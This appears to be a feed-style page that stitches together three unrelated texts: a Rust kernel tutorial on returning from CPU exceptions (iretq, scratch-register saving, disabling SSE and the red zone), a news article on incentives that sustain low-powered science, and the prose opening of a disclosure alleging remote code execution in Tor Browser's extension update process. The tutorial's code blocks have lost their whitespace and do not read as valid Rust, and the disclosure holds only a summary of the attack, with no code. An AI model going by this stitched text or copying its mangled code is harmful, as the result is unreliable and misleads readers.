IRETQ restores rip, cs, rflags, rsp, and cs from the values saved on the stack and thus continues the interrupted program. The instruction does not handle the optional error code, so it must be popped from the stack before.

We see that iretq treats the stored instruction pointer as return address. For most exceptions, the stored rip points to the instruction that caused the fault. So by executing iretq, we restart the failing instruction. This makes sense because we should have resolved the exception when returning from it, so the instruction should no longer fail (e.g. the accessed part of the memory mapped file is now present in memory).

The situation is a bit different for the breakpoint exception, since it needs no resolution. Restarting the int3 instruction wouldn’t make sense, since it would cause a new breakpoint exception and we would enter an endless loop. For this reason the hardware designers decided that the stored rip should point to the next instruction after the int3 instruction.

Let’s check this for our breakpoint handler. Remember, the handler printed the following message (see the image above):

EXCEPTION: BREAKPOINT at 0x1100aa

So let’s disassemble the instruction at 0x1100aa and its predecessor:

> objdump -d build/kernel-x86_64.bin | grep -B1 "1100aa:"
  1100a9:	cc                   	int3  1100aa:	4889 c6             	mov    %rax,%rsi

We see that 0x1100aa indeed points to the next instruction after int3. So we can simply jump to the stored instruction pointer when we want to return from the breakpoint exception.

Implementation

Let’s update our handler! macro to support non-diverging exception handlers:

// in src/interrupts/mod.rsmacro_rules!handler{($name:ident)=>{{#[naked]extern"C"fnwrapper()->!{unsafe{asm!("mov rdi, rsp                      sub rsp, 8 // align the stack pointer                      call $0"::"i"($nameasextern"C"fn(*constExceptionStackFrame))// no longer diverging:"rdi":"intel","volatile");// newasm!("add rsp, 8 // undo stack pointer alignment                      iretq"::::"intel","volatile");::core::intrinsics::unreachable();}}wrapper}}}

When an exception handler returns from the call instruction, we use the iretq instruction to continue the interrupted program. Note that we need to undo the stack pointer alignment before, so that rsp points to the end of the exception stack frame again.

We’ve changed the handler function type, so we need to adjust our existing exception handlers:

// in src/interrupts/mod.rs

extern "C" fn divide_by_zero_handler(
-   stack_frame: *const ExceptionStackFrame) -> ! {...}+   stack_frame: *const ExceptionStackFrame) {...}

extern "C" fn invalid_opcode_handler(
-   stack_frame: *const ExceptionStackFrame) -> ! {...}+   stack_frame: *const ExceptionStackFrame) {...}

extern "C" fn breakpoint_handler(
-   stack_frame: *const ExceptionStackFrame) -> ! {+   stack_frame: *const ExceptionStackFrame) {
    unsafe { print_error(...) }-   loop {}
}

Note that we also removed the loop {} at the end of our breakpoint_handler so that it no longer diverges. The divide_by_zero_handler and the invalid_opcode_handler still diverge (albeit the new function type would allow a return).

Testing

Let’s try our new iretq logic:

QEMU output with `EXCEPTION BREAKPOINT` and `EXCEPTION PAG FAULT` but no `It did not crash`

Instead of the expected “It did not crash” message after the breakpoint exception, we get a page fault. The strange thing is that our kernel tried to access address 0x0, which should never happen. So it seems like we messed up something important.

Debugging

Let’s debug it using GDB. For that we execute make debug in one terminal (which starts QEMU with the -s -S flags) and then make gdb (which starts and connects GDB) in a second terminal. For more information about GDB debugging, check out our Set Up GDB guide.

First we want to check if our iretq was successful. Therefore we set a breakpoint on the println!("It did not crash line!") statement in src/lib.rs. Let’s assume that it’s on line 61:

(gdb) break blog_os/src/lib.rs:61
Breakpoint 1 at 0x110a95: file /home/.../blog_os/src/lib.rs, line 61.

This line is after the int3 instruction, so we know that the iretq succeeded when the breakpoint is hit. To test this, we continue the execution:

(gdb) continue
Continuing.

Breakpoint 1, blog_os::rust_main (multiboot_information_address=1539136)
    at /home/.../blog_os/src/lib.rs:61
61	    println!("It did not crash!");

It worked! So our kernel successfully returned from the int3 instruction, which means that the iretq itself works.

However, when we continue the execution again, we get the page fault. So the exception occurs somewhere in the println logic. This means that it occurs in code generated by the compiler (and not e.g. in inline assembly). But the compiler should never access 0x0, so how is this happening?

The answer is that we’ve used the wrong calling convention for our exception handlers. Thus, we violate some compiler invariants so that the code that works fine without intermediate exceptions starts to violate memory safety when it’s executed after a breakpoint exception.

Calling Conventions

Exceptions are quite similar to function calls: The CPU jumps to the first instruction of the (handler) function and executes the function. Afterwards, if the function is not diverging, the CPU jumps to the return address and continues the execution of the parent function.

However, there is a major difference between exceptions and function calls: A function call is invoked voluntary by a compiler inserted call instruction, while an exception might occur at any instruction. In order to understand the consequences of this difference, we need to examine function calls in more detail.

Calling conventions specify the details of a function call. For example, they specify where function parameters are placed (e.g. in registers or on the stack) and how results are returned. On x86_64 Linux, the following rules apply for C functions (specified in the System V ABI):

  • the first six integer arguments are passed in registers rdi, rsi, rdx, rcx, r8, r9
  • additional arguments are passed on the stack
  • results are returned in rax and rdx

Note that Rust does not follow the C ABI (in fact, there isn’t even a Rust ABI yet). So these rules apply only to functions declared as extern "C" fn.

Preserved and Scratch Registers

The calling convention divides the registers in two parts: preserved and scratch registers.

The values of the preserved register must remain unchanged across function calls. So a called function (the “callee”) is only allowed to overwrite these registers if it restores their original values before returning. Therefore these registers are called “callee-saved”. A common pattern is to save these registers to the stack at the function’s beginning and restore them just before returning.

In contrast, a called function is allowed to overwrite scratch registers without restrictions. If the caller wants to preserve the value of a scratch register across a function call, it needs to backup and restore it (e.g. by pushing it to the stack before the function call). So the scratch registers are caller-saved.

On x86_64, the C calling convention specifies the following preserved and scratch registers:

preserved registersscratch registers
rbp, rbx, rsp, r12, r13, r14, r15rax, rcx, rdx, rsi, rdi, r8, r9, r10, r11
callee-savedcaller-saved

The compiler knows these rules, so it generates the code accordingly. For example, most functions begin with a push rbp, which backups rbp on the stack (because it’s a callee-saved register).

The Exception Calling Convention

In contrast to function calls, exceptions can occur on any instruction. In most cases we don’t even know at compile time if the generated code will cause an exception. For example, the compiler can’t know if an instruction causes a stack overflow or an other page fault.

Since we don’t know when an exception occurs, we can’t backup any registers before. This means that we can’t use a calling convention that relies on caller-saved registers for our exception handlers. But we do so at the moment: Our exception handlers are declared as extern "C" fn and thus use the C calling convention.

So here is what happens:

  • rust_main is executing; it writes some memory address into rax.
  • The int3 instruction causes a breakpoint exception.
  • Our breakpoint_handler prints to the screen and assumes that it can overwrite rax freely (since it’s a scratch register). Somehow the value 0 ends up in rax.
  • We return from the breakpoint exception using iretq.
  • rust_main continues and accesses the memory address in rax.
  • The CPU tries to access address 0x0, which causes a page fault.

So our exception handler erroneously assumes that the scratch registers were saved by the caller. But the caller (rust_main) couldn’t save any registers since it didn’t know that an exception occurs. So nobody saves rax and the other scratch registers, which leads to the page fault.

The problem is that we use a calling convention with caller-saved registers for our exception handlers. Instead, we need a calling convention means that preserves all registers. In other words, all registers must be callee-saved:

extern"all-registers-callee-saved"fnexception_handler(){...}

Unfortunately, Rust does not support such a calling convention. It was proposed once, but did not get accepted for various reasons. The primary reason was that such calling conventions can be simulated by writing a naked wrapper function.

(Remember: Naked functions are functions without prologue and can contain only inline assembly. They were discussed in the previous post.)

A naked wrapper function

Such a naked wrapper function might look like this:

#[naked]extern"C"fncalling_convention_wrapper(){unsafe{asm!("            push rax            push rcx            push rdx            push rsi            push rdi            push r8            push r9            push r10            push r11            // TODO: call exception handler with C calling convention            pop r11            pop r10            pop r9            pop r8            pop rdi            pop rsi            pop rdx            pop rcx            pop rax        "::::"intel","volatile");}}

This wrapper function saves all scratch registers to the stack before calling the exception handler and restores them afterwards. Note that we pop the registers in reverse order.

We don’t need to backup preserved registers since they are callee-saved in the C calling convention. Thus, the compiler already takes care of preserving their values.

Fixing our Handler Macro

Let’s update our handler macro to fix the calling convention problem. Therefore we need to backup and restore all scratch registers. For that we create two new macros:

// in src/interrupts/mod.rsmacro_rules!save_scratch_registers{()=>{asm!("push rax              push rcx              push rdx              push rsi              push rdi              push r8              push r9              push r10              push r11        "::::"intel","volatile");}}macro_rules!restore_scratch_registers{()=>{asm!("pop r11              pop r10              pop r9              pop r8              pop rdi              pop rsi              pop rdx              pop rcx              pop rax            "::::"intel","volatile");}}

We need to declare these macros above our handler macro, since macros are only available after their declaration.

Now we can use these macros to fix our handler! macro:

// in src/interrupts/mod.rsmacro_rules!handler{($name:ident)=>{{#[naked]extern"C"fnwrapper()->!{unsafe{save_scratch_registers!();asm!("mov rdi, rsp                      add rdi, 9*8 // calculate exception stack frame pointer                      // sub rsp, 8 (stack is aligned already)                      call $0"::"i"($nameasextern"C"fn(*constExceptionStackFrame)):"rdi":"intel","volatile");restore_scratch_registers!();asm!("                      // add rsp, 8 (undo stack alignment; not needed anymore)                      iretq"::::"intel","volatile");::core::intrinsics::unreachable();}}wrapper}}}

It’s important that we save the registers first, before we modify any of them. After the call instruction (but before iretq) we restore the registers again. Because we’re now changing rsp (by pushing the register values) before we load it into rdi, we would get a wrong exception stack frame pointer. Therefore we need to adjust it by adding the number of bytes we push. We push 9 registers that are 8 bytes each, so 9 * 8 bytes in total.

Note that we no longer need to manually align the stack pointer, because we’re pushing an uneven number of registers in save_scratch_registers. Thus the stack pointer already has the required 16-byte alignment.

Testing it again

Let’s test it again with our corrected handler! macro:

QEMU output with `EXCEPTION BREAKPOINT` and `It did not crash`

The page fault is gone and we see the “It did not crash” message again!

So the page fault occurred because our exception handler didn’t preserve the scratch register rax. Our new handler! macro fixes this problem by saving all scratch registers (including rax) before calling exception handlers. Thus, rax still contains the valid memory address when rust-main continues execution.

When we discussed calling conventions above, we assummed that a x86_64 CPU only has the following 16 registers: rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, r8, r9, r10, r11.r12, r13, r14, and r15. These registers are called general purpose registers since each of them can be used for arithmetic and load/store instructions.

However, modern CPUs also have a set of special purpose registers, which can be used to improve performance in several use cases. On x86_64, the most important set of special purpose registers are the multimedia registers. These registers are larger than the general purpose registers and can be used to speed up audio/video processing or matrix calculations. For example, we could use them to add two 4-dimensional vectors in a single CPU instruction:

`(1,2,3,4) + (5,6,7,8) = (6,8,10,12)`

Such multimedia instructions are called Single Instruction Multiple Data (SIMD) instructions, because they simultaneously perform an operation (e.g. addition) on multiple data words. Good compilers are able to transform normal loops into such SIMD code automatically. This process is called auto-vectorization and can lead to huge performance improvements.

However, auto-vectorization causes a problem for us: Most of the multimedia registers are caller-saved. According to our discussion of calling conventions above, this means that our exception handlers erroneously assume that they are allowed to overwrite them without preserving their values.

We don’t use any multimedia registers explicitly, but the Rust compiler might auto-vectorize our code (including the exception handlers). Thus we could silently clobber the multimedia registers, which leads to the same problems as above:

example: program uses mm0, mm1, and mm2. Then the exception handler clobbers mm1.

This example shows a program that is using the first three multimedia registers (mm0 to mm2). At some point, an exception occurs and control is transfered to the exception handler. The exception handler uses mm1 for its own data and thus overwrites the previous value. When the exception is resolved, the CPU continues the interrupted program again. However, the program is now corrupt since it relies on the original mm1 value.

Saving and Restoring Multimedia Registers

In order to fix this problem, we need to backup all caller-saved multimedia registers before we call the exception handler. The problem is that the set of multimedia registers varies between CPUs. There are different standards:

  • MMX: The MMX instruction set was introduced in 1997 and defines eight 64 bit registers called mm0 through mm7. These registers are just aliases for the registers of the x87 floating point unit.
  • SSE: The Streaming SIMD Extensions instruction set was introduced in 1999. Instead of re-using the floating point registers, it adds a completely new register set. The sixteen new registers are called xmm0 through xmm15 and are 128 bits each.
  • AVX: The Advanced Vector Extensions are extensions that further increase the size of the multimedia registers. The new registers are called ymm0 through ymm15 and are 256 bits each. They extend the xmm registers, so e.g. xmm0 is the lower (or upper?) half of ymm0.

The Rust compiler (and LLVM) assume that the x86_64-unknown-linux-gnu target supports only MMX and SSE, so we don’t need to save the ymm0 through ymm15. But we need to save xmm0 through xmm15 and also mm0 through mm7. There is a special instruction to do this: fxsave. This instruction saves the floating point and multimedia state to a given address. It needs 512 bytes to store that state.

In order to save/restore the multimedia registers, we could add new macros:

macro_rules!save_multimedia_registers{()=>{asm!("sub rsp, 512              fxsave [rsp]        "::::"intel","volatile");}}macro_rules!restore_multimedia_registers{()=>{asm!("fxrstor [rsp]              add rsp, 512            "::::"intel","volatile");}}

First, we reserve the 512 bytes on the stack and then we use fxsave to backup the multimedia registers. In order to restore them later, we use the fxrstor instruction. Note that fxsave and fxrstor require a 16 byte aligned memory address.

However, we won’t do it that way. The problem is the large amount of memory required. We will reuse the same code when we handle hardware interrupts in a future post. So for each mouse click, pressed key, or arrived network package we need to write 512 bytes to memory. This would be a huge performance problem.

Fortunately, there exists an alternative solution.

Disabling Multimedia Extensions

We just disable MMX, SSE, and all the other fancy multimedia extensions. This way, our exception handlers won’t clobber the multimedia registers because they won’t use them at all.

This solution has its own disadvantages, of course. For example, it leads to slower kernel code because the compiler can’t perform any auto-vectorization optimizations. But it’s still the faster solution (since we save many memory accesses) and most kernels do it this way (including Linux).

So how do we disable MMX and SSE? Well, we just tell the compiler that our target system doesn’t support it. Since the very beginning, we’re compiling our kernel for the x86_64-unknown-linux-gnu target. This worked fine so far, but now we want a different target without support for multimedia extensions. We can do so by creating a target configuration file.

Target Specifications

In order to disable the multimedia extensions for our kernel, we need to compile for a custom target. We want a target that is equal to x86_64-unknown-linux-gnu, but without MMX and SSE support. Rust allows us to specify such a target using a JSON configuration file.

A minimal target specification that describes the x86_64-unknown-linux-gnu target looks like this:

{"llvm-target":"x86_64-unknown-linux-gnu","data-layout":"e-m:e-i64:64-f80:128-n8:16:32:64-S128","target-endian":"little","target-pointer-width":"64","arch":"x86_64","os":"none"}

The llvm-target field specifies the target triple that is passed to LLVM. We want to derive a 64-bit Linux target, so we choose x86_64-unknown-linux-gnu. The data-layout field is also passed to LLVM and specifies how data should be laid out in memory. It consists of various specifications seperated by a - character. For example, the e means little endian and S128 specifies that the stack should be 128 bits (= 16 byte) aligned. The format is described in detail in the LLVM documentation but there shouldn’t be a reason to change this string.

The other fields are used for conditional compilation. This allows crate authors to use cfg variables to write special code for depending on the OS or the architecture. There isn’t any up-to-date documentation about these fields but the corresponding source code is quite readable.

Disabling MMX and SSE

In order to disable the multimedia extensions, we create a new target named x86_64-blog_os. To describe this target, we create a file named x86_64-blog_os.json in the project root with the following content:

{"llvm-target":"x86_64-unknown-linux-gnu","data-layout":"e-m:e-i64:64-f80:128-n8:16:32:64-S128","target-endian":"little","target-pointer-width":"64","arch":"x86_64","os":"none","features":"-mmx,-sse"}

It’s equal to x86_64-unknown-linux-gnu target but has one additional option: "features": "-mmx,-sse". So we added two target features: -mmx and -sse. The minus prefix defines that our target does not support this feature. So by specifying -mmx and -sse, we disable the default mmx and sse features.

In order to compile for the new target, we need to adjust our Makefile:

# in `Makefile`

 arch ?= x86_64
-target ?= $(arch)-unknown-linux-gnu+target ?= $(arch)-blog_os
...

The new target name (x86_64-blog_os) is the file name of the JSON configuration file without the .json extension.

Cross compilation

Let’s try if our kernel still works with the new target:

> make run
Compiling raw-cpuid v2.0.1
Compiling rlibc v0.1.5
Compiling x86 v0.7.1
Compiling spin v0.3.5
error[E0463]: can't find crate for `core`

error: aborting due to previous error

Build failed, waiting for other jobs to finish...
...
Makefile:52: recipe for target 'cargo' failed
make: *** [cargo] Error 101

It doesn’t compile anymore. The error tells us that the Rust compiler no longer finds the core library.

The core library is implicitly linked to all no_std crates and contains things such as Result, Option, and iterators. We’ve used that library without problems since the very beginning, so why is it no longer available?

The problem is that the core library is distributed together with the Rust compiler as a precompiled library. So it is only valid for the host triple, which is x86_64-unknown-linux-gnu in our case. If we want to compile code for other targets, we need to recompile core for these targets first.

Xargo

That’s where xargo comes in. It is a wrapper for cargo that eases cross compilation. We can install it by executing:

cargo install xargo

If the installation fails, make sure that you have cmake and the OpenSSL headers installed. For more details, see the xargo’s dependency section.

Xargo is “a drop-in replacement for cargo”, so every cargo command also works with xargo. You can do e.g. xargo --help, xargo clean, or xargo doc. However, the build command gains additional functionality: xargo build will automatically cross compile the core library (and a few other libraries such as alloc and collections) when compiling for custom targets.

That’s exactly what we want, so we change one letter in our Makefile:

# in `Makefile`
...

cargo:
-	@cargo build --target $(target)+	@xargo build --target $(target)
...

Now the build goes through xargo, which should fix the compilation error. Let’s try it out:

> make run
Downloading https://static.rust-lang.org/dist/2016-09-19/rustc-nightly-src.tar.gz
Unpacking rustc-nightly-src.tar.gz
Compiling sysroot for x86_64-blog_os
Compiling core v0.0.0

LLVM ERROR: SSE register return with SSE disabled
error: Could not compile `core`.

Well, we get a different error now, so it seems like we’re making progress :).

We see that xargo downloads the corresponding source code for our Rust nightly from the Rust servers and then compiles a new sysroot for our new target. A sysroot contains the various pre-compiled crates such as core, alloc, and collections.

However, a strange error occurs when compiling core:

LLVM ERROR: SSE register return with SSE disabled

It seems like there is a “SSE register return” although SSE is disabled. But what’s an “SSE register return”?

SSE Register Return

Remember when we discussed calling conventions above? The calling convention defines which registers are used for return values. Well, the System V ABI defines that xmm0 should be used for returning floating point values. So somewhere in the core library a function returns a float and LLVM doesn’t know what to do. The ABI says “use xmm0” but the target specification says “don’t use xmm registers”.

In order to fix this problem, we need to change our float ABI. The idea is to avoid normal hardware-supported floats and use a pure software implementation instead. We can do so by enabling the soft-float feature for our target. For that, we edit x86_64-blog_os.json:

{"llvm-target":"x86_64-unknown-linux-gnu",..."features":"-mmx,-sse,+soft-float"}

The plus prefix tells LLVM to enable the soft-float feature.

Let’s try make run again:

> make run
Compiling sysroot for x86_64-blog_os
Compiling core v0.0.0 (file:///home/…/.xargo/src/libcore)
Compiling rustc_unicode v0.0.0 (file:///home/…/.xargo/src/librustc_unicode)
Compiling rand v0.0.0 (file:///home/…/.xargo/src/librand)
Compiling alloc v0.0.0 (file:///home/…/.xargo/src/liballoc)
Compiling collections v0.0.0 (file:///home/…/.xargo/src/libcollections)
 Finished release [optimized] target(s) in 40.35 secs
Compiling once v0.3.2
Compiling bitflags v0.4.0
Compiling bit_field v0.1.0
Compiling x86 v0.7.1
Compiling linked_list_allocator v0.2.2
Compiling raw-cpuid v2.0.1
Compiling spin v0.3.5
Compiling multiboot2 v0.1.0
Compiling rlibc v0.1.5
Compiling spin v0.4.3
Compiling bitflags v0.7.0
Compiling lazy_static v0.2.1
Compiling hole_list_allocator v0.1.0
Compiling blog_os v0.1.0
warning: unused result which must be used…
warning: unused variable: `allocator`…
warning: unused variable: `frame`…

  Finished debug [unoptimized + debuginfo] target(s) in 6.62 secs

It worked! We see that xargo now successfully compiles the sysroot crates (including core) in release mode. Then it starts the normal cargo build, which now succeeds since the required core, alloc, and collection libraries are now available.

Note that cargo needs to recompile all dependencies too, since it needs to generate different code for the new target. If you’re getting an error about a missing compiler-rt library, try updating to the newest nightly (compiler-rt was removed in PR #35021).

Now we have a kernel that never touches the multimedia registers! We can verify this by executing:

> objdump -d build/kernel-x86_64.bin | grep "mm[0-9]"

If the command produces no output, our kernel uses neither MMX (mm0mm7) nor SSE (xmm0xmm15) registers.

So now our return-from-exception logic works without problems in most cases. However, there is still a pitfall hidden in the C calling convention, which might cause hideous bugs in some rare cases.

The Red Zone

The red zone is an optimization of the System V ABI that allows functions to temporary use the 128 bytes below its stack frame without adjusting the stack pointer:

stack frame with red zone

The image shows the stack frame of a function with n local variables. On function entry, the stack pointer is adjusted to make room on the stack for the local variables.

The red zone is defined as the 128 bytes below the adjusted stack pointer. The function can use this area for temporary data that’s not needed across function calls. Thus, the two instructions for adjusting the stack pointer can be avoided in some cases (e.g. in small leaf functions).

However, this optimization leads to huge problems with exceptions. Let’s assume that an exception occurs while a function uses the red zone:

red zone overwritten by exception handler

The CPU and the exception handler overwrite the data in red zone. But this data is still needed by the interrupted function. So the function won’t work correctly anymore when we return from the exception handler. It might fail or cause another exception, but it could also lead to strange bugs that take weeks to debug.

Adjusting our Exception Handler?

The problem is that the System V ABI demands that the red zone “shall not be modified by signal or interrupt handlers.” Our current exception handlers do not respect this. We could try to fix it by subtracting 128 from the stack pointer before pushing anything:

subrsp,128save_scratch_registers()...call......restore_scratch_registers()addrsp,128iretq

This will not work. The problem is that the CPU pushes the exception stack frame before even calling our handler function. So the CPU itself will clobber the red zone and there is nothing we can do about that. So our only chance is to disable the red zone.

Disabling the Red Zone

The red zone is a property of our target, so in order to disable it we edit our x86_64-blog_os.json a last time:

{"llvm-target":"x86_64-unknown-linux-gnu",..."features":"-mmx,-sse,+soft-float","disable-redzone":true}

We add one additional option at the end: "disable-redzone": true. As you might guess, this option disables the red zone optimization.

Now we have a red zone free kernel!

Exceptions with Error Codes

We’re now able to correctly return from exceptions without error codes. However, we still can’t return from exceptions that push an error code (e.g. page faults). Let’s fix that by updating our handler_with_error_code macro:

// in src/interrupts/mod.rsmacro_rules!handler_with_error_code{($name:ident)=>{{#[naked]extern"C"fnwrapper()->!{unsafe{asm!("pop rsi // pop error code into rsi                      mov rdi, rsp                      sub rsp, 8 // align the stack pointer                      call $0"::"i"($nameasextern"C"fn(*constExceptionStackFrame,u64)):"rdi","rsi":"intel");asm!("iretq"::::"intel","volatile");::core::intrinsics::unreachable();}}wrapper}}}

First, we change the type of the handler function: no more -> !, so it no longer needs to diverge. We also add an iretq instruction at the end.

Now we can make our page_fault_handler non-diverging:

// in src/interrupts/mod.rs

 extern "C" fn page_fault_handler(stack_frame: *const ExceptionStackFrame,
-   error_code: u64) -> ! { ... }+   error_code: u64) { ... }

However, now we have the same problem as above: The handler function will overwrite the scratch registers and cause bugs when returning. Let’s fix this by invoking save_scratch_registers at the beginning:

// in src/interrupts/mod.rsmacro_rules!handler_with_error_code{($name:ident)=>{{#[naked]extern"C"fnwrapper()->!{unsafe{save_scratch_registers!();asm!("pop rsi // pop error code into rsi                      mov rdi, rsp                      add rdi, 10*8 // calculate exception stack frame pointer                      sub rsp, 8 // align the stack pointer                      call $0                      add rsp, 8 // undo stack pointer alignment                      "::"i"($nameasextern"C"fn(*constExceptionStackFrame,u64)):"rdi","rsi":"intel");restore_scratch_registers!();asm!("iretq"::::"intel","volatile");::core::intrinsics::unreachable();}}wrapper}}}
Now we backup the scratch registers to the stack right at the beginning and restore them just before the iretq. Like in the handler macro, we now need to add 10*8 to rdi in order to get the correct exception stack frame pointer (save_scratch_registers pushes nine 8 byte registers, plus the error code). We also need to undo the stack pointer alignment after the call .

Now we have one last bug: We pop the error code into rsi, but the error code is no longer at the top of the stack (since save_scratch_registers pushed 9 registers on top of it). So we need to do it differently:

// in src/interrupts/mod.rsmacro_rules!handler_with_error_code{($name:ident)=>{{#[naked]extern"C"fnwrapper()->!{unsafe{save_scratch_registers!();asm!("mov rsi, [rsp + 9*8] // load error code into rsi                      mov rdi, rsp                      add rdi, 10*8 // calculate exception stack frame pointer                      sub rsp, 8 // align the stack pointer                      call $0                      add rsp, 8 // undo stack pointer alignment                      "::"i"($nameasextern"C"fn(*constExceptionStackFrame,u64)):"rdi","rsi":"intel");restore_scratch_registers!();asm!("add rsp, 8 // pop error code                      iretq"::::"intel","volatile");::core::intrinsics::unreachable();}}wrapper}}}

Instead of using pop, we’re calculating the error code address manually (save_scratch_registers pushes nine 8 byte registers) and load it into rsi using a mov. So now the error code stays on the stack. But iretq doesn’t handle the error code, so we need to pop it before invoking iretq.

Phew! That was a lot of fiddling with assembly. Let’s test if it still works.

Testing

First, we test if the exception stack frame pointer and the error code are still correct:

// in rust_main in src/lib.rs...unsafe{int!(3)};// provoke a page faultunsafe{*(0xdeadbeafas*mutu64)=42;}println!("It did not crash!");loop{}

This should cause the following error message:

EXCEPTION: PAGE FAULT while accessing 0xdeadbeaf
error code: CAUSED_BY_WRITE
ExceptionStackFrame {
    instruction_pointer: 1114753,
    code_segment: 8,
    cpu_flags: 2097158,
    stack_pointer: 1171104,
    stack_segment: 16
}

The error code should still be CAUSED_BY_WRITE and the exception stack frame values should also be correct (e.g. code_segment should be 8 and stack_segment should be 16).

Page Faults as Breakpoints

We didn’t test returns from the page fault handler yet. In order to test our iretq logic, we temporary define accesses to 0xdeadbeaf as legal. They should behave exactly like the breakpoint exception: Print an error message and then continue with the next instruction.

Therefore we update our page_fault_handler:

// in src/interrupts/mod.rsextern"C"fnpage_fault_handler(stack_frame:*constExceptionStackFrame,error_code:u64){usex86::controlregs;unsafe{print_error(...);}// newunsafe{ifcontrolregs::cr2()==0xdeadbeaf{letstack_frame=&mut*(stack_frameas*mutExceptionStackFrame);stack_frame.instruction_pointer+=7;return;}}loop{}}

If the accessed memory address is 0xdeadbeaf (the CPU stores this information in the cr2 register), we don’t loop endlessly. Instead we update the stored instruction pointer and return. Remember, the normal behavior when returning from a page fault is to restart the failing instruction. We don’t want that, so we manipulate the stored instruction pointer to point to the next instruction.

In our case, the page fault is caused by the instruction at address 1114753, which is 0x110281 in hexadecimal. Let’s examine this instruction using objdump:

> objdump -d build/kernel-x86_64.bin | grep "110281"
110281:	48 c7 02 2a 00 00 00 	movq   $0x2a,(%rdx)

It’s a movq instruction with the 7 byte opcode 48 c7 02 2a 00 00 00. So the next instruction starts 7 bytes after.

Thus, we can jump to the next instruction in our page_fault_handler by adding 7 to the instruction pointer. This is a horrible hack, since the page fault could also be caused by other instructions with different opcode lengths. But it’s good enough for a quick test.

When we execute make run now, we should see the “It did not crash” message after the page fault:

QEMU showing the the page fault error and the “It did not crash” message

Our iretq logic seems to work!

Let’s quickly remove the 0xdeadbeaf hack from our page_fault_handler again and pretend that we’ve never done that :).

What’s next?

We are now able to catch exceptions and to return from them. However, there are still exceptions that completely crash our kernel by causing a triple fault. In the next post, we will fix this issue by handling a special type of exception: the double fault. Thus, we will be able to avoid random reboots in our kernel.

Bad science persists because poor methods are rewarded

$
0
0

IN 1962 Jacob Cohen, a psychologist at New York University, reported an alarming finding. He had analysed 70 articles published in the Journal of Abnormal and Social Psychology and calculated their statistical “power” (a mathematical estimate of the probability that an experiment would detect a real effect). He reckoned most of the studies he looked at would actually have detected the effects their authors were looking for only about 20% of the time—yet, in fact, nearly all reported significant results. Scientists, Cohen surmised, were not reporting their unsuccessful research. No surprise there, perhaps. But his finding also suggested some of the papers were actually reporting false positives, in other words noise that looked like data. He urged researchers to boost the power of their studies by increasing the number of subjects in their experiments.

Wind the clock forward half a century and little has changed. In a new paper, this time published inRoyal Society Open Science, two researchers, Paul Smaldino of the University of California, Merced, and Richard McElreath at the Max Planck Institute for Evolutionary Anthropology, in Leipzig, show that published studies in psychology, neuroscience and medicine are little more powerful than in Cohen’s day.

They also offer an explanation of why scientists continue to publish such poor studies. Not only are dodgy methods that seem to produce results perpetuated because those who publish prodigiously prosper—something that might easily have been predicted. But worryingly, the process of replication, by which published results are tested anew, is incapable of correcting the situation no matter how rigorously it is pursued.

The preservation of favoured places
First, Dr Smaldino and Dr McElreath calculated that the average power of papers culled from 44 reviews published between 1960 and 2011 was about 24%. This is barely higher than Cohen reported, despite repeated calls in the scientific literature for researchers to do better. The pair then decided to apply the methods of science to the question of why this was the case, by modelling the way scientific institutions and practices reproduce and spread, to see if they could nail down what is going on.

They focused in particular on incentives within science that might lead even honest researchers to produce poor work unintentionally. To this end, they built an evolutionary computer model in which 100 laboratories competed for “pay-offs” representing prestige or funding that result from publications. They used the volume of publications to calculate these pay-offs because the length of a researcher’s CV is a known proxy of professional success. Labs that garnered more pay-offs were more likely to pass on their methods to other, newer labs (their “progeny”).

Some labs were better able to spot new results (and thus garner pay-offs) than others. Yet these labs also tended to produce more false positives—their methods were good at detecting signals in noisy data but also, as Cohen suggested, often mistook noise for a signal. More thorough labs took time to rule these false positives out, but that slowed down the rate at which they could test new hypotheses. This, in turn, meant they published fewer papers.

In each cycle of “reproduction”, all the laboratories in the model performed and published their experiments. Then one—the oldest of a randomly selected subset—“died” and was removed from the model. Next, the lab with the highest pay-off score from another randomly selected group was allowed to reproduce, creating a new lab with a similar aptitude for creating real or bogus science.

Sharp-eyed readers will notice that this process is similar to that of natural selection, as described by Charles Darwin, in “The Origin of Species”. And lo! (and unsurprisingly), when Dr Smaldino and Dr McElreath ran their simulation, they found that labs which expended the least effort to eliminate junk science prospered and spread their methods throughout the virtual scientific community.

Their next result, however, was surprising. Though more often honoured in the breach than in the execution, the process of replicating the work of people in other labs is supposed to be one of the things that keeps science on the straight and narrow. But the two researchers’ model suggests it may not do so, even in principle.

Replication has recently become all the rage in psychology. In 2015, for example, over 200 researchers in the field repeated 100 published studies to see if the results of these could be reproduced (only 36% could). Dr Smaldino and Dr McElreath therefore modified their model to simulate the effects of replication, by randomly selecting experiments from the “published” literature to be repeated.

A successful replication would boost the reputation of the lab that published the original result. Failure to replicate would result in a penalty. Worryingly, poor methods still won—albeit more slowly. This was true in even the most punitive version of the model, in which labs received a penalty 100 times the value of the original “pay-off” for a result that failed to replicate, and replication rates were high (half of all results were subject to replication efforts).

The researchers’ conclusion is therefore that when the ability to publish copiously in journals determines a lab’s success, then “top-performing laboratories will always be those who are able to cut corners”—and that is regardless of the supposedly corrective process of replication.

Ultimately, therefore, the way to end the proliferation of bad science is not to nag people to behave better, or even to encourage replication, but for universities and funding agencies to stop rewarding researchers who publish copiously over those who publish fewer, but perhaps higher-quality papers. This, Dr Smaldino concedes, is easier said than done. Yet his model amply demonstrates the consequences for science of not doing so.

Tor Browser Exposed: Anti-Privacy Implantation at Mass Scale

$
0
0

Tor Browser Exposed: Anti-Privacy Implantation at Mass Scale

Credit: @Ox000000

Introduction:

The combination of chaining the vulnerabilities described below allows a malicious exit node operator or global adversary to conduct a silent remote code execution attack on all platforms of the Tor Browser. This attack is not limited to just being hypothetical in nature and evidence shows that this attack has already been possible for a number of years. The list of vulnerable deployments to this attack includes the native Tor Browser for Windows, Linux, OSX and also includes Tor Browser installations on dedicated operating systems such as Tails and Whonix.

The entire security of the Tor Browser ecosystem relies on the integrity of a single TLS certificate that has already been previously compromised.

Efforts to mitigate these types of risks through certificate pinning appear to not have been correctly implemented with regard to the extension update process and also appear to provide no protection.

This attack enables arbitrary remote code execution against users accessing specific clearnet resources when used in combination with a targeting mechanism; such as by passively monitoring exit node traffic for traffic destined for specific clearnet resources. Additionally this attack enables an attacker to conduct exploitation at a massive scale against all Tor Browser users and to move towards implantation after selected criteria are met (such as an installed language pack, public IP address, DNS cache, stored cookie, stored web history, and etc).

